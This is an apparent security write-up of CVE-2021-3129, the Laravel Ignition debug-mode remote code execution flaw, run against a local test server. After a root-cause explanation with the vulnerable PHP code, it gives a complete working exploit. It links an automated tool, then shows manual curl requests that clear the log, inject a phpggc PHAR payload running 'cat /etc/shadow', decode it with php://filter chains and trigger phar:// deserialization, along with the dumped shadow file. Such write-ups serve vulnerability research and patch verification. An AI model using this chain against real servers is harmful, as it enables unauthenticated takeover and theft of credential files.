Skip to content

Laravel Ignition Remote Code Execution - CVE-2021-3129

6 min read Created Jan 5, 2026 Last updated Jul 10, 2026

Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.

Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions. The PHAR deserialization chain exploits the same primitive as insecure deserialization, and the file write primitive leverages LFI techniques through PHP filter chains.

The exploitation chain involves these steps:

  • Detect the Ignition endpoint and extract leaked server paths from stack traces
  • Clear the Laravel log file using php://filter/read=consumed
  • Generate a PHAR payload with phpggc using Monolog gadget chains
  • Inject the encoded payload into the log via alignment and padding requests
  • Decode in place with chained PHP filters and trigger deserialization via phar://

Root Cause

The endpoint processes solution classes without authentication. MakeViewVariableOptionalSolution reads a file, appends ?? '' to a variable via string replace, validates Blade tokens, then writes the modified content back.

Vulnerable code (Ignition ≤ 2.5.1):

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

  public function makeOptional(array $parameters = [])
  {
      $originalContents = file_get_contents($parameters['viewFile']);
      $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
  
      $originalTokens = token_get_all(Blade::compileString($originalContents));
      $newTokens = token_get_all(Blade::compileString($newContents));
  
      $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
  
      if ($expectedTokens !== $newTokens) {
          return false;
      }
  
      return $newContents;
  }
}

User-controlled viewFile feeds directly into file_get_contents() and file_put_contents(). Stream wrappers bypass the replace logic while preserving Blade token validation through encoded data.

Automated Laravel Ignition RCE Exploitation

Tool automates path/OS detection, log clearing, payload generation/cycling across Monolog and Laravel chains, precise multi-step filter injection using the generated payload, error triggering, deserialization, cleanup, and interactive shell.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-3129.py -u $TARGET_URL

Vulnerability Detection and Path Discovery

Trigger a MethodNotAllowed exception with a GET request.

┌──(kali㉿kali)-[~]
└─$ curl -I $TARGET_URL/_ignition/execute-solution
HTTP/1.0 405 Method Not Allowed
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 15:20:58 GMT
Connection: close
X-Powered-By: PHP/7.3.31
allow: POST
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 15:20:58 GMT
Content-type: text/html; charset=UTF-8

A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.

The stack trace leaks absolute paths.

┌──(kali㉿kali)-[~]
└─$ curl $TARGET_URL/_ignition/execute-solution 2>/dev/null | grep -E "(vendor.*laravel.*framework|vendor\\\\laravel\\\\framework)"
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
#0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection->methodNotAllowed(Array, 'GET')
#1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection->getRouteForMethods(Object(Illuminate\Http\Request), Array)
#2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection->handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
#3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection->match(Object(Illuminate\Http\Request))
#4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router->findRoute(Object(Illuminate\Http\Request))
...
#17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance->handle(Object(Illuminate\Http\Request), Object(Closure))
#19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors->handle(Object(Illuminate\Http\Request), Object(Closure))
#21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies->handle(Object(Illuminate\Http\Request), Object(Closure))
#22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
#23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline->then(Object(Closure))
#24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))

Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).

Example leaked path: /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php

Application root: /src/laravel

Log path uses forward slashes across OS.

┌──(kali㉿kali)-[~]
└─$ export LOG_PATH="/src/laravel/storage/logs/laravel.log"

Log Clearing

Overwrite the log before injection.

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=consumed/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:27:16 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:27:16 GMT
Content-Type: text/html; charset=UTF-8

Run twice to force log file creation. Success returns 200 OK.

PHAR Payload Generation

Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ambionics/phpggc.git
┌──(kali㉿kali)-[~]
└─$ cd phpggc
┌──(kali㉿kali)-[~]
└─$ export COMMAND="cat /etc/shadow"
┌──(kali㉿kali)-[~]
└─$ export PAYLOAD=$(php -dphar.readonly=0 ./phpggc laravel/rce13 system "$COMMAND" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/(.)/\1=00/g')

The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.

Manual RCE Chain

Clear the log first with the previous provided clear CURL command

Create an alignment entry

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AA"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset=UTF-8

Success returns 500 Internal Server Error. This places "AA" in the log.

Inject the padded payload

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AAAAAAAAAAAAAA'"$PAYLOAD"'"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset=UTF-8

Success returns 500. The encoded PHAR now sits in the log.

Decode the payload in place

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:34:17 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:34:17 GMT
Content-Type: text/html; charset=UTF-8

Success returns 200 OK.

Trigger deserialization

┌──(kali㉿kali)-[~]
└─$ curl -k -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"phar://'"$LOG_PATH"'"}}' 2>/dev/null | sed '1,/<\/html>/d'
root:!::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
www-data:!:18914:0:99999:7:::
utmp:!:18914:0:99999:7:::

Command output appears after the closing </html> tag.

If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.

References